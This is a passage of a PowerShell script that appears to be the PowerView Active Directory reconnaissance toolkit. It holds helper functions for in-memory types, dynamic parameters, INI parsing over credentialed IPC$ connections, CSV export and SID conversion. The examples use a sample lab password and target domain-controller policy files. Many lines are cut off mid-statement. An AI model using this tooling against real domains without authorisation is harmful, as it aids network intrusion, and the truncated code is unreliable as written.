if ($Module -is [Reflection.Assembly])
{
return $TypeHash
}
$ReturnTypes = @{}
foreach ($Key in $TypeHash.Keys)
{
$Type = $TypeHash[$Key].CreateType()
$ReturnTypes[$Key] = $Type
}
return $ReturnTypes
}
}
function psenum {
<#
.SYNOPSIS
Creates an in-memory enumeration for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
The 'psenum' function facilitates the creation of enums entirely in
memory using as close to a "C style" as PowerShell will allow.
.PARAMETER Module
The in-memory module that will host the enum. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the enum.
.PARAMETER Type
The type of each enum element.
.PARAMETER EnumElements
A hashtable of enum elements.
.PARAMETER Bitfield
Specifies that the enum should be treated as a bitfield.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
UNKNOWN = 0
NATIVE = 1 # Image doesn't require a subsystem.
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
POSIX_CUI = 7 # Image runs in the Posix character subsystem.
NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
EFI_APPLICATION = 10
EFI_BOOT_SERVICE_DRIVER = 11
EFI_RUNTIME_DRIVER = 12
EFI_ROM = 13
XBOX = 14
WINDOWS_BOOT_APPLICATION = 16
}
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Enum. :P
#>
[OutputType([Type])]
Param (
[Parameter(Position = 0, Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 1, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 2, Mandatory=$True)]
[Type]
$Type,
[Parameter(Position = 3, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$EnumElements,
[Switch]
$Bitfield
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
$EnumType = $Type -as [Type]
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
if ($Bitfield)
{
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}
foreach ($Key in $EnumElements.Keys)
{
# Apply the specified enum type to each element
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
}
$EnumBuilder.CreateType()
}
# A helper function used to reduce typing while defining struct
# fields.
function field {
Param (
[Parameter(Position = 0, Mandatory=$True)]
[UInt16]
$Position,
[Parameter(Position = 1, Mandatory=$True)]
[Type]
$Type,
[Parameter(Position = 2)]
[UInt16]
$Offset,
[Object[]]
$MarshalAs
)
@{
Position = $Position
Type = $Type -as [Type]
Offset = $Offset
MarshalAs = $MarshalAs
}
}
function struct
{
<#
.SYNOPSIS
Creates an in-memory struct for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: field
.DESCRIPTION
The 'struct' function facilitates the creation of structs entirely in
memory using as close to a "C style" as PowerShell will allow. Struct
fields are specified using a hashtable where each field of the struct
is comprosed of the order in which it should be defined, its .NET
type, and optionally, its offset and special marshaling attributes.
One of the features of 'struct' is that after your struct is defined,
it will come with a built-in GetSize method as well as an explicit
converter so that you can easily cast an IntPtr to the struct without
relying upon calling SizeOf and/or PtrToStructure in the Marshal
class.
.PARAMETER Module
The in-memory module that will host the struct. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the struct.
.PARAMETER StructFields
A hashtable of fields. Use the 'field' helper function to ease
defining each field.
.PARAMETER PackingSize
Specifies the memory alignment of fields.
.PARAMETER ExplicitLayout
Indicates that an explicit offset for each field will be specified.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
DOS_SIGNATURE = 0x5A4D
OS2_SIGNATURE = 0x454E
OS2_SIGNATURE_LE = 0x454C
VXD_SIGNATURE = 0x454C
}
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
e_magic = field 0 $ImageDosSignature
e_cblp = field 1 UInt16
e_cp = field 2 UInt16
e_crlc = field 3 UInt16
e_cparhdr = field 4 UInt16
e_minalloc = field 5 UInt16
e_maxalloc = field 6 UInt16
e_ss = field 7 UInt16
e_sp = field 8 UInt16
e_csum = field 9 UInt16
e_ip = field 10 UInt16
e_cs = field 11 UInt16
e_lfarlc = field 12 UInt16
e_ovno = field 13 UInt16
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
e_oemid = field 15 UInt16
e_oeminfo = field 16 UInt16
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
e_lfanew = field 18 Int32
}
# Example of using an explicit layout in order to create a union.
$TestUnion = struct $Mod TestUnion @{
field1 = field 0 UInt32 0
field2 = field 1 IntPtr 0
} -ExplicitLayout
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Struct. :P
#>
[OutputType([Type])]
Param (
[Parameter(Position = 1, Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 2, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 3, Mandatory=$True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$StructFields,
[Reflection.Emit.PackingSize]
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
[Switch]
$ExplicitLayout
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
Class,
Public,
Sealed,
BeforeFieldInit'
if ($ExplicitLayout)
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
}
else
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
}
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$Fields = New-Object Hashtable[]($StructFields.Count)
# Sort each field according to the orders specified
# Unfortunately, PSv2 doesn't have the luxury of the
# hashtable [Ordered] accelerator.
foreach ($Field in $StructFields.Keys)
{
$Index = $StructFields[$Field]['Position']
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
}
foreach ($Field in $Fields)
{
$FieldName = $Field['FieldName']
$FieldProp = $Field['Properties']
$Offset = $FieldProp['Offset']
$Type = $FieldProp['Type']
$MarshalAs = $FieldProp['MarshalAs']
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
if ($MarshalAs)
{
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
if ($MarshalAs[1])
{
$Size = $MarshalAs[1]
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
$UnmanagedType, $SizeConst, @($Size))
}
else
{
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Objec
}
$NewField.SetCustomAttribute($AttribBuilder)
}
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
}
# Make the struct aware of its own size.
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
'Public, Static',
[Int],
[Type[]] @())
$ILGenerator = $SizeMethod.GetILGenerator()
# Thanks for the help, Jason Shirk!
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
# Allow for explicit casting from an IntPtr
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
'PrivateScope, Public, Static, HideBySig, SpecialName',
$StructBuilder,
[Type[]] @([IntPtr]))
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
$StructBuilder.CreateType()
}
########################################################
#
# Misc. helpers
#
########################################################
Function New-DynamicParameter {
<#
.SYNOPSIS
Helper function to simplify creating dynamic parameters.
Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-e
Originally released under the Microsoft Public License (Ms-PL).
.DESCRIPTION
Helper function to simplify creating dynamic parameters.
Example use cases:
Include parameters only if your environment dictates it
Include parameters depending on the value of a user-specified parameter
Provide tab completion and intellisense for parameters, depending on the environment
Please keep in mind that all dynamic parameters you create, will not have corresponding variables crea
Use New-DynamicParameter with 'CreateVariables' switch in your main code block,
('Process' for advanced functions) to create those variables.
Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.
This function has two operating modes:
1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to
with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictio
2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParame
Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained
with custom conditions and so on.
.NOTES
Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration:
https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1
http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parame
http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-adv
Credit to BM for alias and type parameters and their handling
.PARAMETER Name
Name of the dynamic parameter
.PARAMETER Type
Type for the dynamic parameter. Default is string
.PARAMETER Alias
If specified, one or more aliases to assign to the dynamic parameter
.PARAMETER Mandatory
If specified, set the Mandatory attribute for this dynamic parameter
.PARAMETER Position
If specified, set the Position attribute for this dynamic parameter
.PARAMETER HelpMessage
If specified, set the HelpMessage for this dynamic parameter
.PARAMETER DontShow
If specified, set the DontShow for this dynamic parameter.
This is the new PowerShell 4.0 attribute that hides parameter from tab-completion.
http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/
.PARAMETER ValueFromPipeline
If specified, set the ValueFromPipeline attribute for this dynamic parameter
.PARAMETER ValueFromPipelineByPropertyName
If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter
.PARAMETER ValueFromRemainingArguments
If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter
.PARAMETER ParameterSetName
If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to
.PARAMETER AllowNull
If specified, set the AllowNull attribute of this dynamic parameter
.PARAMETER AllowEmptyString
If specified, set the AllowEmptyString attribute of this dynamic parameter
.PARAMETER AllowEmptyCollection
If specified, set the AllowEmptyCollection attribute of this dynamic parameter
.PARAMETER ValidateNotNull
If specified, set the ValidateNotNull attribute of this dynamic parameter
.PARAMETER ValidateNotNullOrEmpty
If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter
.PARAMETER ValidateRange
If specified, set the ValidateRange attribute of this dynamic parameter
.PARAMETER ValidateLength
If specified, set the ValidateLength attribute of this dynamic parameter
.PARAMETER ValidatePattern
If specified, set the ValidatePattern attribute of this dynamic parameter
.PARAMETER ValidateScript
If specified, set the ValidateScript attribute of this dynamic parameter
.PARAMETER ValidateSet
If specified, set the ValidateSet attribute of this dynamic parameter
.PARAMETER Dictionary
If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary
Appropriate for custom dynamic parameters creation.
If not specified, create and return a RuntimeDefinedParameterDictionary
Appropriate for a simple dynamic parameter creation.
#>
[CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]
Param (
[Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName =
[ValidateNotNullOrEmpty()]
[string]$Name,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[System.Type]$Type = [int],
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[string[]]$Alias,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$Mandatory,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[int]$Position,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[string]$HelpMessage,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$DontShow,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$ValueFromPipeline,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$ValueFromPipelineByPropertyName,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$ValueFromRemainingArguments,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[string]$ParameterSetName = '__AllParameterSets',
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$AllowNull,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$AllowEmptyString,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$AllowEmptyCollection,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$ValidateNotNull,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[switch]$ValidateNotNullOrEmpty,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[ValidateCount(2,2)]
[int[]]$ValidateCount,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[ValidateCount(2,2)]
[int[]]$ValidateRange,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[ValidateCount(2,2)]
[int[]]$ValidateLength,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[ValidateNotNullOrEmpty()]
[string]$ValidatePattern,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[ValidateNotNullOrEmpty()]
[scriptblock]$ValidateScript,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[ValidateNotNullOrEmpty()]
[string[]]$ValidateSet,
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParamete
[ValidateNotNullOrEmpty()]
[ValidateScript({
if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary]))
{
Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDict
}
$true
})]
$Dictionary = $false,
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName =
[switch]$CreateVariables,
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName =
[ValidateNotNullOrEmpty()]
[ValidateScript({
# System.Management.Automation.PSBoundParametersDictionary is an internal sealed class,
# so one can't use PowerShell's '-is' operator to validate type.
if($_.GetType().Name -notmatch 'Dictionary') {
Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersD
}
$true
})]
$BoundParameters
)
Begin {
$InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedP
function _temp { [CmdletBinding()] Param() }
$CommonParameters = (Get-Command _temp).Parameters.Keys
}
Process {
if($CreateVariables) {
$BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $
ForEach($Parameter in $BoundKeys) {
if ($Parameter) {
Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force
}
}
}
else {
$StaleKeys = @()
$StaleKeys = $PSBoundParameters.GetEnumerator() |
ForEach-Object {
if($_.Value.PSobject.Methods.Name -match '^Equals$') {
# If object has Equals, compare bound key and variable using it
if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) {
$_.Key
}
}
else {
# If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator
if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) {
$_.Key
}
}
}
if($StaleKeys) {
$StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)}
}
# Since we rely solely on $PSBoundParameters, we don't have access to default values for unb
$UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Pa
# Find parameters that are belong to the current parameter set
Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.Paramete
Select-Object -ExpandProperty Key |
# Find unbound parameters in the current parameter set
Where-Object { $PSBoundParameters.Keys -notcontains $_ }
# Even if parameter is not bound, corresponding variable is created with parameter's default val
$tmp = $null
ForEach ($Parameter in $UnboundParameters) {
$DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
$PSBoundParameters.$Parameter = $DefaultValue
}
}
if($Dictionary) {
$DPDictionary = $Dictionary
}
else {
$DPDictionary = $InternalDictionary
}
# Shortcut for getting local variables
$GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
# Strings to match attributes and validation arguments
$AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFro
$ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|Validate
$AliasRegex = '^Alias$'
$ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttr
switch -regex ($PSBoundParameters.Keys) {
$AttributeRegex {
Try {
$ParameterAttribute.$_ = . $GetVar
}
Catch {
$_
}
continue
}
}
if($DPDictionary.Keys -contains $Name) {
$DPDictionary.$Name.Attributes.Add($ParameterAttribute)
}
else {
$AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.At
switch -regex ($PSBoundParameters.Keys) {
$ValidationRegex {
Try {
$ParameterOptions = New-Object -TypeName "System.Management.Automation.${_
$AttributeCollection.Add($ParameterOptions)
}
Catch { $_ }
continue
}
$AliasRegex {
Try {
$ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAt
$AttributeCollection.Add($ParameterAlias)
continue
}
Catch { $_ }
}
}
$AttributeCollection.Add($ParameterAttribute)
$Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedPar
$DPDictionary.Add($Name, $Parameter)
}
}
}
End {
if(!$CreateVariables -and !$Dictionary) {
$DPDictionary
}
}
}
function Get-IniContent {
<#
.SYNOPSIS
This helper parses an .ini file into a hashtable.
Author: 'The Scripting Guys'
Modifications: @harmj0y (-Credential support)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
.DESCRIPTION
Parses an .ini file into a hashtable. If -Credential is supplied,
then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file
is parsed, and then the connection is destroyed with Remove-RemoteConnection.
.PARAMETER Path
Specifies the path to the .ini file to parse.
.PARAMETER OutputObject
Switch. Output a custom PSObject instead of a hashtable.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-IniContent C:\Windows\example.ini
.EXAMPLE
"C:\Windows\example.ini" | Get-IniContent -OutputObject
Outputs the .ini details as a proper nested PSObject.
.EXAMPLE
"C:\Windows\example.ini" | Get-IniContent
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred
.INPUTS
String
Accepts one or more .ini paths on the pipeline.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed .ini file.
.LINK
https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPr
[Alias('FullName', 'Name')]
[ValidateNotNullOrEmpty()]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$OutputObject
)
BEGIN {
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
if (Test-Path -Path $TargetPath) {
if ($PSBoundParameters['OutputObject']) {
$IniObject = New-Object PSObject
}
else {
$IniObject = @{}
}
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
if ($PSBoundParameters['OutputObject']) {
$Section = $Section.Replace(' ', '')
$SectionObject = New-Object PSObject
$IniObject | Add-Member Noteproperty $Section $SectionObject
}
else {
$IniObject[$Section] = @{}
}
$CommentCount = 0
}
"^(;.*)$" # Comment
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Value
}
else {
$IniObject[$Section][$Name] = $Value
}
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
# if ($Values -isnot [System.Array]) { $Values = @($Values) }
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Values
}
else {
$IniObject[$Section][$Name] = $Values
}
}
}
$IniObject
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Export-PowerViewCSV {
<#
.SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex. This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
.PARAMETER InputObject
Specifies the objects to export as CSV strings.
.PARAMETER Path
Specifies the path to the CSV output file.
.PARAMETER Delimiter
Specifies a delimiter to separate the property values. The default is a comma (,)
.PARAMETER Append
Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
.INPUTS
PSObject
Accepts one or more PSObjects on the pipeline.
.LINK
http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[Char]
$Delimiter = ',',
[Switch]
$Append
)
BEGIN {
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
$Exists = [System.IO.File]::Exists($OutputPath)
# mutex so threaded code doesn't stomp on the output file
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
$Null = $Mutex.WaitOne()
if ($PSBoundParameters['Append']) {
$FileMode = [System.IO.FileMode]::Append
}
else {
$FileMode = [System.IO.FileMode]::Create
$Exists = $False
}
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
$CSVWriter.AutoFlush = $True
}
PROCESS {
ForEach ($Entry in $InputObject) {
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
if (-not $Exists) {
# output the object field names as well
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
$Exists = $True
}
else {
# only output object field data
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
}
}
}
END {
$Mutex.ReleaseMutex()
$CSVWriter.Dispose()
$CSVStream.Dispose()
}
}
function Resolve-IPAddress {
<#
.SYNOPSIS
Resolves a given hostename to its associated IPv4 address.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Resolves a given hostename to its associated IPv4 address using
[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
is the IP address of the localhost.
.EXAMPLE
Resolve-IPAddress -ComputerName SERVER
.EXAMPLE
@("SERVER1", "SERVER2") | Resolve-IPAddress
.INPUTS
String
Accepts one or more IP address strings on the pipeline.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with the ComputerName and IPAddress.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
if ($_.AddressFamily -eq 'InterNetwork') {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
$Out
}
}
}
catch {
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
}
}
}
}
function ConvertTo-SID {
<#
.SYNOPSIS
Converts a given user/group name to a security identifier (SID).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
.DESCRIPTION
Converts a "DOMAIN\username" syntax to a security identifier (SID)
using System.Security.Principal.NTAccount's translate function. If alternate
credentials are supplied, then Get-ADObject is used to try to map the name
to a security identifier.
.PARAMETER ObjectName
The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertTo-SID 'DEV\dfm'
.EXAMPLE
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
.INPUTS
String
Accepts one or more username specification strings on the pipeline.
.OUTPUTS
String
A string representing the SID of the translated name.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('Name', 'Identity')]
[String[]]
$ObjectName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL, # dummy for searcher arguments
